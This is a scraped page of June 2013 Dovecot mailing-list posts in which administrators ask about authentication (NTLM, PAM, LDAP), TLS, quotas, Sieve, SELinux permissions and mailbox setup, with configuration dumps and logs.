[Dovecot] NTLM authentication with dovecot.

Hi!, I'm trying to use single sign on from Windows. Install dovecot on CentOS 6. The host name is prueba-mail. I'm using version 2.0.9 because the latest 64-bit gives errors. But first I wanted to test whether user validation works with telnet. When I try to try "telnet prueba-mail imap" and try to "a1 LOGIN MyUsername MyPassword", I get the following error:prueba-mail dovecot: auth: pam(pepe,190.108.101.120): unknown user.

[Dovecot] How to manage email with an ISP restricted mailbox size?
by Tom Atkins 26 Jun '13

26 Jun '13

Sorry if this is a bit off topic but I'm hoping list members here might have some ideas. Aim: use ISP provided email with restricted inbox size but keep an IMAP accessible archive of emails (including 'sent' messages) on a remote server. Scenario: - Don't want to run my own SMTP server - Have free ISP email with 1Gb mailbox limit and spam filtering that works well - Have remote server with plenty of disk space - Want to use remote server for IMAP access to archive of email to avoid 1Gb ISP mailbox limit Options I tried: 1. Use ISP email via IMAP and periodically backup / archive messages to remote server with something like mbsync / isync to maildir format. Delete old messages on ISP server safe in knowledge they are backed up on my server. QUESTION: how to access those archives via IMAP (read only is OK)? 2. Use ISP email for sending messages only. Use Getmail / Fetchmail to move messages to remote server and run Dovecot there. I tried using Getmail to do this but couldn't figure out how to keep copies of 'Sent' and 'Draft' messages if the email client was configured to read via IMAP on one server and send via SMTP to another server. Any thoughts on how best to achieve my aims? Thanks, Tom.

[Dovecot] Help installing Dovecot 1.0 on Debian 6.0.7
by Roshan Dawrani 26 Jun '13

Hi, Could someone please let me know if I can get the pre-built binaries for Dovecot 1.0 for Debian 6.0? If I do "apt-get install dovecot...", I am getting Dovecot v1.2.5 installed, but it doesn't like the existing Dovecot 1.0 configuration I have, and due to some urgency, I am trying to avoid migrating the configuration to the new structure / requirements. Regards, Roshan

[Dovecot] Dovecot 2 and managesieve
by Darek 25 Jun '13

25 Jun '13

Having some difficulty finding out whether managesieve is still a separate package (not seeing it in the FreeBSD ports tree, only one for 1.x) or whether it was integrated into the main 2.x package. I've only been using 1.2.x up to now, and trying to document a system install. So is it in the main distribution now? -- Darek

[Dovecot] NTLM Authentication with Dovecot and Postfix
by Matthew Larsen 25 Jun '13

25 Jun '13

I'm trying to get NTLM authentication working with Dovecot to authenticate Postfix SMTP clients. I can authenticate postfix smtp clients using the plain text login mechanism via Dovecot and winbind. However, using the NTLM mechanism gives me an error in my maillog that says: "dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL". At this point, I'm rather stuck. It appears PAM and winbind work for authenticating with AD because it works with the plain text mechanism, but I'm missing something with the NTLM authentication method. Any suggestions as to what I've got wrong, or other logging I can turn up / examine that might shed some light on this? /// Logging and configuration information below /// -- When I use the LOGIN mechanism I see this in the mail logging and the message is relayed: Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: connect from nvit01b.mydomain.com[10.20.2.0] Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=1501) Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011PLAIN#011service=smtp#011nologin#011lip=10.20.4.12#011rip=10.20.2.0#011resp=AG[...snip...]g== Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): lookup service=dovecot Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): #1/1 style=1 msg=Password: Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: client out: OK#0111#011user=myusername Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: 54EAF8059B: client=nvit01b.mydomain.com[10.20.2.0], sasl_method=PLAIN, sasl_username=myusername Jun 21 13:12:58 SBSMTPNV05 postfix/cleanup[1504]: 54EAF8059B: message-id=<51C4B3C8.30008(a)domain1.com> Jun 21 13:12:58 SBSMTPNV05 postfix/qmgr[1499]: 54EAF8059B: from=<someone(a)domain1.com>, size=2700, nrcpt=1 (queue active) Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: disconnect from nvit01b.mydomain.com[10.20.2.0] Jun 21 13:12:59 SBSMTPNV05 postfix/smtp[1505]: 54EAF8059B: to=<someone(a)gmail.com>, relay=gmail-smtp-in.l.google.com[74.125.25.27]:25, delay=1.2, delays=0.23/0.04/0.16/0.72, dsn=2.0.0, status=sent (250 2.0.0 OK 1371845579 wf5si3786287pab.138 - gsmtp) Jun 21 13:12:59 SBSMTPNV05 postfix/qmgr[1499]: 54EAF8059B: removed -- I also see this in the secure log: Jun 21 13:12:58 SBSMTPNV05 auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=myusername rhost=10.20.2.0 user=myusername Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): getting password (0x00000010) Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): pam_get_item returned a password Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): user 'myusername' granted access Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:account): user 'myusername' granted access -- However, when I switch the mechanism to NTLM in the Thurnderbird MUA I see this: Jun 21 13:15:46 SBSMTPNV05 postfix/smtpd[1506]: connect from nvit01b.mydomain.com[10.20.2.0] Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libauthdb_ldap.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libdriver_sqlite.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libmech_gssapi.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=1506) Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011NTLM#011service=smtp#011nologin#011lip=10.20.4.12#011rip=10.20.2.0#011resp=TlRMT[...snip...]A= Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client out: CONT#0111#011TlRMT[[...snip...]A Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client in: CONT#0111#011TlRMT[...snip...]A= Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL Jun 21 13:15:48 SBSMTPNV05 postfix/smtpd[1506]: warning: nvit01b.mydomain.com[10.20.2.0]: SASL NTLM authentication failed: TlRMT[...snip...]A Jun 21 13:15:48 SBSMTPNV05 dovecot: auth: Debug: client out: FAIL#0111 Jun 21 13:15:49 SBSMTPNV05 postfix/smtpd[1506]: disconnect from nvit01b.mydomain.com[10.20.2.0] -- with nothing in the secure log and I don't see anything show up in the winbind logs either. -- I've reviewed these pages as reference, and I'm not sure what I'm missing: http://wiki2.dovecot.org/HowTo/ActiveDirectoryNtlm http://wiki2.dovecot.org/Authentication/Mechanisms/NTLM http://www.dovecot.org/list/dovecot/2008-December/035630.html http://www.dovecot.org/list/dovecot/2010-February/046763.html http://blog.al-shami.net/2008/05/freebsd-postfix-dovecot-and-active-directo… http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL -- Here's some of my relevant configuration as I understand it: -- I've joined the computer to the AD domain.

[Dovecot] Configuring TLS 1.2
by Phillip Odam 25 Jun '13

25 Jun '13

Hi I'm running dovecot 2.1.6 and am trying to configure it to require TLS 1.2. So far I've only got as far as getting TLS 1.0 going. In the config file <dovecot root>/etc/dovecot/conf.d/10-ssl.conf, I've tried setting ssl_protocols to values like TLSv1.2:!TLSv1:!SSL3 but without any success. Attempts to google this matter turns up results for dovecot v1.2 as opposed to configuring TLS 1.2 in dovecot And having a look over the mailing list archive hasn't turned anything up thus far. Any pointers would be greatly appreciated. Thanks Phillip

[Dovecot] Sieve file permission problem
by Zoltan Lippai 25 Jun '13

25 Jun '13

Hi folks, I am using dovecot 2.1.7 with the ManageSieve plugin which works great. Recently I set up Afterlogic webmail on my server (the community version) and it has a nice UI to manage the sieve settings. It uses port 2000 to communicate with dovecot via the ManageSieve plugin. Also, dovecot uses Maildirs to store the messages. The problem is that the permissions on the files that store the sieve rules are to strict. I am talking about the "sieve" directory and the .dovecot.sieve file. The sieve folder has a chmod 700 and the .dovecot.sieve is chmod 600. Both are owned by vmail:mail If I delete these two items, then the rules can be saved via the web interface. Then these files are created but for some reason the ManageSieve plugin can't modify them. Here is the output of dovecot -n: http://pastebin.com/4eqyBKCA Can you help me out on this? Thanks a lot! Zoltan

[Dovecot] Quota based on LDAP group
by Pavel Herrmann 24 Jun '13

24 Jun '13

Hi I have a setup where my dovecot (2.0, if that makes a difference) authenticates against an LDAP directory. In my scenario, I have two types of users, lets call them "normal" and "privileged". What I need is for the normal user to have a fixed quota, but for the priviledged to have none. (The users do not exist on the underlying system, so I cant do quota based on FS) The issue is that my LDAP is actually an AD, and there is a fair amount of new accounts over the time (in other words, I cannot use LDAP attribute for storing quota, because the AD tools don't understand it, and I would have to add it manually for each new account). The approach I had in mind is using quota based on user group (I do have groups representing both normal and priviledged users), but I cannot find a way to set it up in dovecot. Am I missing something or does dovecot not support LDAP groups as attribute source? thanks Pavel Herrmann

[Dovecot] Warning recipient when message delivery fails due to over-quota
by Ben Johnson 24 Jun '13

24 Jun '13

I'm working to configure automated quota notifications in Dovecot and am wondering if it is possible to send a warning message to a user when message delivery fails because the user is over-quota. I already have the following directives configured: quota_warning = storage=95%% quota-warning 95 %u %d quota_warning2 = storage=80%% quota-warning 80 %u %d quota_warning3 = -storage=100%% quota-below below %u %d These seem to function as expected, but the problem I'm facing is that when a message is large enough to take the user's quota from, say, 84% to over 100%, the message is rejected (as expected), but the user is never warned that a message failed to be delivered because it would have put him over 100% usage. I suppose that I'm looking for a trigger that is tripped when delivering the message *would* put the user over-quota (as opposed to *does in fact* put the user over). The sender receives an automated rejection message already. I'm wondering if the recipient can be warned at the same time. (I'm not concerned about further increasing the user's quota consumption with the warning message; I would set noenforcing to 1.) Is this possible? Any help is much appreciated. Thanks in advance. -Ben

Hello, Can the above setting be applied on a per user account basis? I thought that maybe something like per account quotas might be a possible method but not sure. Thanks.

[Dovecot] dovecot-lda - dovecot: quota-warning: Error: lda: Fatal: Unknown argument
by Ben Johnson 24 Jun '13

24 Jun '13

Hi, everyone, I'm attempting to configure automated quota warnings for users and have hit a snag. The script I'm using is as follows: --------------------------------------------------------------------- #!/bin/sh PERCENT=$1 MAILBOX=$2 DOMAIN=$3 cat << EOF | /usr/lib/dovecot/dovecot-lda -d $USER -o "plugin/quota=dict:user::file:/var/vmail/%d/%n/.quotausage" From: postmaster@$DOMAIN Subject: Email quota warning - mailbox over $PERCENT% full [...] --------------------------------------------------------------------- When the script is triggered, here's what appears in the log: --------------------------------------------------------------------- Jun 24 11:16:53 host dovecot: quota-warning: Error: lda: Fatal: Unknown argument: plugin/quota=dict:user::noenforcing:file:/var/vmail/%d/%n/.quotausage Jun 24 11:16:53 host dovecot: master: Error: service(quota-warning): child 22415 returned error 64 --------------------------------------------------------------------- If I paste the same on the command line, the message is delivered, as expected: /usr/lib/dovecot/dovecot-lda -d user(a)example.com -o "plugin/quota=dict:user::noenforcing:file:/var/vmail/%d/%n/.quotausage" -p /tmp/test.txt The problem seems to be that the -o switch isn't being interpreted correctly when dovecot-lda is called from within the script. -o is the correct switch, yes? From the manual at http://wiki2.dovecot.org/LDA : -o name=value: Override a setting from dovecot.conf. You can give this parameter multiple times. What am I missing here? Is some shell script escaping or similar required? Thanks for any tips! -Ben

[Dovecot] NTLM Authentication for Postfix SMTP clients
by Matthew Larsen 24 Jun '13

24 Jun '13

I'm trying to get NTLM authentication working with Dovecot to authenticate Postfix SMTP clients. I can authenticate postfix smtp clients using the plain text login mechanism through winbind. However, using the NTLM mechanism gives me an error in my maillog that says: "dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL". At this point, I'm rather stuck. It appears PAM and winbind work for authenticating with AD because it works with the plain text mechanism, but I'm missing something with the NTLM authentication method. Any suggestions as to what I've got wrong, or other logging I can turn up / examine that might shed some light on this?

[Dovecot] Calling dovecot-lda from within Antispam pipe script (bash) seems to have no effect
by Ben Johnson 24 Jun '13

24 Jun '13

Hello, I'm attempting to configure the Dovecot Antispam plug-in on Ubuntu 12.04 LTS with Dovecot 2.0.19. Everything seems to be in order with one considerable exception: when my pipe script (a simple Bash shell script) calls the dovecot-lda executable, absolutely nothing seems to result. If I copy/paste the exact same command into the terminal, the mail is delivered to the target mailbox, as expected. Here's my pipe script: http://pastebin.com/DBXAZqsN When I move a message from INBOX -> Junk, or from Junk -> INBOX, the pipe script is called, and here's the output: --------------------------------------------------------------- 31465-start (--debug --username=amavis --ham) Checking if the command-line input argument string (--debug --username=amavis --ham) contains the string "ham" or "spam" Mode is "HAM" Calling (as user vmail) '/usr/lib/dovecot/deliver -d "sa-training(a)example.com" -m "Training.HAM" -p "/tmp/sendmail-msg-31465.txt"' 31465-end --------------------------------------------------------------- But, for some reason, the call to "/usr/lib/dovecot/deliver" doesn't seem to do anything. If I copy the above output and paste it into the terminal: /usr/lib/dovecot/deliver -d "sa-training(a)example.com" -m "Training.HAM" -p "/tmp/sendmail-msg-31465.txt" Dovecot does indeed deliver the message. This works whether I execute the above command as "root" or "vmail". Why does this command have no effect when called from within the pipe script? Here is my "doveconf -n" output: # 2.0.19: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-042stab076.8 x86_64 Ubuntu 12.04.2 LTS auth_mechanisms = plain login disable_plaintext_auth = no listen = *,[::] log_timestamp = "%Y-%m-%d %H:%M:%S " mail_privileged_group = vmail passdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } plugin { antispam_backend = pipe antispam_debug_target = syslog antispam_pipe_program = /usr/bin/sa-learn-pipe.sh antispam_pipe_program_args = --debug;--username=amavis antispam_pipe_program_notspam_arg = --ham antispam_pipe_program_spam_arg = --spam antispam_pipe_tmpdir = /tmp antispam_spam_pattern_ignorecase = SPAM;JUNK antispam_trash_pattern_ignorecase = trash;Deleted * antispam_verbose_debug = 1 quota = dict:user::file:/var/vmail/%d/%n/.quotausage quota_rule2 = Trash:storage=+100M quota_rule3 = Junk:ignore quota_warning = storage=95%% quota-warning 95 %u %d quota_warning2 = storage=80%% quota-warning 80 %u %d quota_warning3 = -storage=100%% quota-below below %u %d sieve = /var/vmail/%d/%n/.sieve } protocols = imap pop3 service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-userdb { group = vmail mode = 0600 user = vmail } user = root } service quota-below { executable = script /usr/local/bin/quota-below.sh user = vmail } service quota-warning { executable = script /usr/local/bin/quota-warning.sh user = vmail } ssl_cert = </etc/postfix/smtpd.cert ssl_key = </etc/postfix/smtpd.key userdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } protocol imap { mail_plugins = quota imap_quota antispam } protocol pop3 { mail_plugins = quota pop3_uidl_format = %08Xu%08Xv } protocol lda { info_log_path = /var/log/dovecot-lda.log log_path = /var/log/dovecot-lda-errors.log mail_plugins = sieve quota } Thank you, -Ben

[Dovecot] Dovecot + SELinux permission problems
by Johnny 24 Jun '13

24 Jun '13

Hi, I have set-up dovecot on a F17 box and am encountering weirdnesses with SELinux (who isn't??). Again, I am trying to refrain from disabling SWLinux all together, however tempting, but am stuck in troubleshooting and hope for some ideas... With SELinux set to permissive, I can connect to dovecot and log in to access my mail as expected. With SELinux enforcing, I can connect to dovecot, but cannot login to access mail. The log states ,---- log_path = /var/log/dovecot (set in 10-logging.conf) | Jun 23 15:43:58 imap-login: Info: Login: user=<johndoe>, method=PLAIN, rip=127.0.0.1, lip=127.0.0.1, mpid=15189, secured, session=<xJl+U9PfvgB/AAAB> | Jun 23 15:43:58 imap(johndoe): Error: chdir(/home/user/data1/Maildir//) failed: Permission denied (euid=1000(user) egid=1000(user) missing +w perm: /home/user/data1/Maildir// stat(/home/user/data1/Maildir//) failed: Permission denied) | Jun 23 15:43:58 imap(johndoe): Error: chdir(/home/user/data1/Maildir/) failed: Permission denied | Jun 23 15:43:58 imap(johndoe): Error: user johndoe: Initialization failed: Namespace '': stat(/home/user/data1/Maildir//johndoe) failed: Permission denied (euid=1000(user) egid=1000(user) missing +w perm: /home/user/data1/Maildir//johndoe stat(/home/user/data1/Maildir//johndoe) failed: Permission denied) | Jun 23 15:43:58 imap(johndoe): Error: Invalid user settings.

[Dovecot] tables between dovecot and postfix and a paradoxical question
by Mohsen Pahlevanzadeh 23 Jun '13

23 Jun '13

Dear all, I read we create the following table in wiki2 : CREATE TABLE users ( userid VARCHAR(128) NOT NULL, domain VARCHAR(128) NOT NULL, password VARCHAR(64) NOT NULL, home VARCHAR(255) NOT NULL, uid INTEGER NOT NULL, gid INTEGER NOT NULL ); But i read the following text in the official postfix documentation : "DO create tables with each matching item as a key and with an arbitrary value. With SQL databases it is not uncommon to return the key itself or a constant value." ref: http://www.postfix.org/mysql_table.5.html How can i combine together? --mohsen

[Dovecot] Problem with virtual user mailbox initialization
by Denis Kasak 22 Jun '13

22 Jun '13

Hello, I'm trying to set up a postfix/dovecot server where postfix hands over incoming mail to dovecot using lmtp virtual transport via a Unix socket. Dovecot is then supposed to write the mail to /var/mail/<domain>/<user>/ using a virtual users setup. It seems to work except for failing when the mailbox is supposed to be initially created: Jun 22 03:25:04 lmtp(2400, dkasak(a)foo.org) Error: user dkasak(a)foo.org: Initialization failed: Namespace '': mkdir(/var/mail/foo.org/dkasak) failed: Permission denied (euid=5000(postman) egid=5000(postman) missing +w perm: /var/mail, we're not in group 6(mail), dir owned by 0:6 mode=0775) As can be seen from the error message, I've set mail_uid and mail_gid to account/group postman. /var/mail/ is empty and owned by root:mail so I've also set mail_privileged_group = mail. I was under the impression that mail_privileged_group is used precisely for these situations (when dotlocking or initial creation of the mailbox fail due to insufficient privileges), but it still doesn't work. If I either set mail_gid = mail, or set mail_access_groups = mail, or create foo.org/ owned by postman:postman by hand, it works as expected. Here is the complete configuration: # 2.2.2: /usr/local/etc/dovecot/dovecot.conf # OS: FreeBSD 9.1-RELEASE-p4 i386 ufs base_dir = /var/run/dovecot/ mail_gid = postman mail_location = maildir:/var/mail/%d/%n/:LAYOUT=fs mail_privileged_group = mail mail_uid = postman managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = / type = private } passdb { args = scheme=CRYPT username_format=%u /etc/dovecot/users driver = passwd-file } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } protocols = imap lmtp service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } } service imap-login { inet_listener imap { port = 143 } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } ssl = required ssl_cert = </etc/ssl/certs/dovecot.pem ssl_key = </etc/ssl/private/dovecot.pem userdb { args = username_format=%u /etc/dovecot/users default_fields = quota_rule=*:storage=2G driver = passwd-file } protocol imap { mail_plugins = " notify mail_log" } Any ideas? -- Denis Kasak

You didn't provide the analogous output from the interactive shell to see the differences (for example, USER might be being used), but from your later strace, I guess CONFIG_FILE has something to do with it. These threads seems relevant http://www.dovecot.org/list/dovecot/2011-May/059127.html http://www.mail-archive.com/dovecot@dovecot.org/msg38349.html That thread poster solved his problem by commenting out service imap-postlogin { # user = $default_internal_user ... } but I have no idea if it works, or whether it's a good idea, for your case.

21 Jun '13

I'm trying to get NTLM authentication working with Dovecot to authenticate Postfix SMTP clients. I can authenticate postfix smtp clients using the plain text login mechanism through winbind. However, using the NTLM mechanism gives me an error in my maillog that says: "dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL". At this point, I'm rather stuck. It appears PAM and winbind work for authenticating with AD because it works with the plain text mechanism, but I'm missing something with the NTLM authentication method. Any suggestions as to what I've got wrong, or other logging I can turn up / examine that might shed some light on this? When I use the LOGIN mechanism I see this in the mail logging and the message is relayed: Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: connect from nvit01b.mydomain.com[10.20.2.**0] Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=1501) Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011PLAIN#011service=**smtp#011nologin#011lip=10.20.**4 .12#011rip=10.20.2.0#011resp=**AG[...snip...]g== Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): lookup service=dovecot Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): #1/1 style=1 msg=Password: Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: client out: OK#0111#011user=myusername Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: 54EAF8059B: client= nvit01b.mydomain.com[**10.20.2.0], sasl_method=PLAIN, sasl_username=myusername Jun 21 13:12:58 SBSMTPNV05 postfix/cleanup[1504]: 54EAF8059B: message-id=< 51C4B3C8.30008(a)**domain1.com <51C4B3C8.30008(a)domain1.com>> Jun 21 13:12:58 SBSMTPNV05 postfix/qmgr[1499]: 54EAF8059B: from=< someone(a)domain1.com>, size=2700, nrcpt=1 (queue active) Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: disconnect from nvit01b.mydomain.com[10.20.2.**0] Jun 21 13:12:59 SBSMTPNV05 postfix/smtp[1505]: 54EAF8059B: to=< someone(a)gmail.com>, relay=gmail-smtp-in.l.google.**com<http://gmail-smtp-in.l.google.com/>[74.125.25.27]:25, delay=1.2, delays=0.23/0.04/0.16/0.72, dsn=2.0.0, status=sent (250 2.0.0 OK 1371845579 wf5si3786287pab.138 - gsmtp) Jun 21 13:12:59 SBSMTPNV05 postfix/qmgr[1499]: 54EAF8059B: removed I also see this in the secure log: Jun 21 13:12:58 SBSMTPNV05 auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=myusername rhost=10.20.2.0 user=myusername Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): getting password (0x00000010) Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): pam_get_item returned a password Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): user 'myusername' granted access Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:account): user 'myusername' granted access However, when I switch the mechanism to NTLM in the Thurnderbird MUA I see this: Jun 21 13:15:46 SBSMTPNV05 postfix/smtpd[1506]: connect from nvit01b.mydomain.com[10.20.2.**0] Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/**libauthdb_ldap.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/**libdriver_sqlite.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/**libmech_gssapi.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=1506) Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011NTLM#011service=**smtp#011nologin#011lip=10.20.**4. 12#011rip=10.20.2.0#011resp=**TlRMT[...snip...]A= Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client out: CONT#0111#011TlRMT[[...snip...**]A Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client in: CONT#0111#011TlRMT[...snip...]**A= Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL Jun 21 13:15:48 SBSMTPNV05 postfix/smtpd[1506]: warning: nvit01b.mydomain.com[10.20.2.**0]: SASL NTLM authentication failed: TlRMT[...snip...]A Jun 21 13:15:48 SBSMTPNV05 dovecot: auth: Debug: client out: FAIL#0111 Jun 21 13:15:49 SBSMTPNV05 postfix/smtpd[1506]: disconnect from nvit01b.mydomain.com[10.20.2.**0] with nothing in the secure log and I don't see anything show up in the winbind logs either.

[Dovecot] Sieve Plugin Setup
by Denny Jones 21 Jun '13

21 Jun '13

I've got an existing setup that I want to add Sieve filtering to. I'm on QmailToaster: qmailadmin-toaster-1.2.16-1.4.0 I using Dovecot version 2.0.11 I'm looking for a good tutorial for installing Sieve Rules functionality on an existing system. Anybody know of one? Anybody else done this? Do I just install the latest Dovecot-sieve plugin release with wget, etc? What kind of configuration can I expect to have to go through. Do I have to reconfigure Dovecot to work in conjunction with the Sieve plugin? I'm hoping to find someone else has done this that can help me navigate the waters so-to-speak. Thanks in advance, Denny

Have you also checked the environment variables? I think dovecot-lda gets some information from them. Also, it's possible the PATH or some other critical environment variables is different, causing the difference in outcome. Joseph Tam <jtam.home(a)gmail.com>

[Dovecot] Would attempting plaintext auth repeatably cause a DOS and server to crash?
by Hugh Davenport 21 Jun '13

21 Jun '13

Hey All, I'm just wondering whether this is what caused my server to crash. Started last night in NZ land. Jun 20 19:22:11 elm dovecot: imap-login: Disconnected (tried to use disallowed plaintext auth): user=<>, rip=attackerip, lip=10.0.0.3, session=<0C8LzpDfZQDINsQC> occasionally get Jun 20 19:22:52 elm dovecot: imap-login: Disconnected (no auth attempts in 1 secs): user=<>, rip=attackerip, lip=10.0.0.3, session=<bHdz0JDfpwDINsQC> or in 0 secs last at Jun 20 19:26:24 elm dovecot: imap-login: Disconnected (tried to use disallowed plaintext auth): user=<>, rip=attackerip, lip=10.0.0.3, session=<1MUR3ZDfcwDINsQC> and a minute later the server lost contact to the world. When I checked a bit later, the underlying host machine (dovecot runs on a VM (KVM)) had been powered off. Now, here in NZ land, there was also a crazy storm last night, and lots of brown outs. There could potentially of been a surge that killed it, but the UPS was still running fine when I started it again. The "attack" lasted around 4 minutes, in which there was 1161 lines in the log for a single attacker ip, and no other similar logs previously. Would this be enough to kill not only the VM running dovecot, but the underlying host machine? All up to date with patches, running debian stable (wheezy). dovecot-core debian package version 1:2.1.7-7 dovecot version 2.1.7 I notice there is a version 2.2.3 out, but not in debian yet. Could this fix this issue? I don't particularly want to have it happen again :D. Any thoughts? Cheers, Hugh

[Dovecot] Allowing clients to test their Sieve scripts
by Frerich Raabe 21 Jun '13

21 Jun '13

Hi, One thing which came up repeatedly is that clients using the IMAP server I run (using Dovecot 2.1) wonder whether they broke their Sieve scripts, i.e. it often goes like "I don't know whether I just didn't receive any mail, or whether my filters broke. Can you check the logs?". I then usually just run the sieve-test binary (part of the Pigeonhole distribution) and send them the output. However, I was wondering - is there maybe a way for them to try it themselves? Like, maybe a tiny web server which just prints a form asking for a mail file and a sieve script, and then it runs sieve-script and prints the output of that? I wonder how other people do that. -- Frerich Raabe - raabe(a)froglogic.com www.froglogic.com - Multi-Platform GUI Testing

[Dovecot] Patch for pigeonhole 0.4.0 avoiding PATH_MAX
by Svante Signell 19 Jun '13

19 Jun '13

Hi, I recently downloaded and built dovecot-2.2.2 and dovecot-2.2-pigeonhole-0.4.0 on GNU/Linux and GNU/Hurd. The changes needed will be sent to the Debian maintainer shortly. Latest Debian release is 2.1.7-7 and dovecot-2.1-pigeonhole-0.3.1. When building dovecot-2.2.2 there were no PATH_MAX problems on GNU/Hurd, thank you for that. However, pigeonhole 0.4.0 had one remaining PATH_MAX construct. The attached patch solves this problem. It it good enough to be accepted upstream? (According to the description of t_malloc, free is not needed, right?) Thanks, Svante Signell

[Dovecot] A common, read-only IMAP INBOX for all accounts
by Gus 19 Jun '13

19 Jun '13

Hi, since I had no luck finding people available on IRC, I hope someone here can provide me with some answers to, hopefully, 2 simple questions (and have the solution recorded in the archives for everyone with the same need). A little background, as the subject says it - I want to have a single INBOX shared among all the accounts on my system, where only one account would have writing rights, and all the rest would only be able to read the messages. Note this is different than providing a shared mailbox in addition to an INBOX - I actually want the shared INBOX to be the one and only folder that users can see and read as they will not be receiving any personal mails on this system. Naturally, I would also want that each account keeps track of read/unread messages independently of others. So, this is what I came up with (showing the relevant part of configuration only): # Per-user mail root and private/shared INBOX namespace userdb { driver = static args = uid=vmail gid=vmail home=/var/vmail/users/%u } namespace { type = private separator = / prefix = location = maildir:/var/vmail/public:INDEX=~/public inbox = yes } # The ACL contents of /var/vmail/public/dovecot-acl user=admin lrwstipekx anyone lrs Now, this actually results in exactly what I want (apart from a problem I'll describe below), but I'm not sure if it's the right way to do it. So the questions: 1. I have doubts that this solution could cause problems with dot file locking or dovecot data files corruption in the /var/vmail/public mailbox/directory when multiple users access the box simultaneously (and this could be thousands of users in production). Is this a valid concern and have I gone completely wrong with this solution, or there should be no problem with locking and I can keep it this way? If this is not the way to do it, can someone advise on the proper configuration that would achieve the same result, if it's possible at all (or what are the alternatives if it can't be done). 2. For testing purposes, I used a perl script (using the Maildir::Lite module) to create a test message in this mailbox (it gets stored in the new/ subdirectory, as I suppose it should). Now this message shows up as "unread" for all accounts, however when I read it in an IMAP client and then refresh the mailbox, it shows up as unread again. Per-user INDEX directory is writable and I see some files created there by dovecot, so shouldn't they contain the \Seen flags that indicate the message has been read? Is this maybe a client problem and how can I check that dovecot actually saves the flag correctly? The dovecot version I'm using is 2.0.9 (from 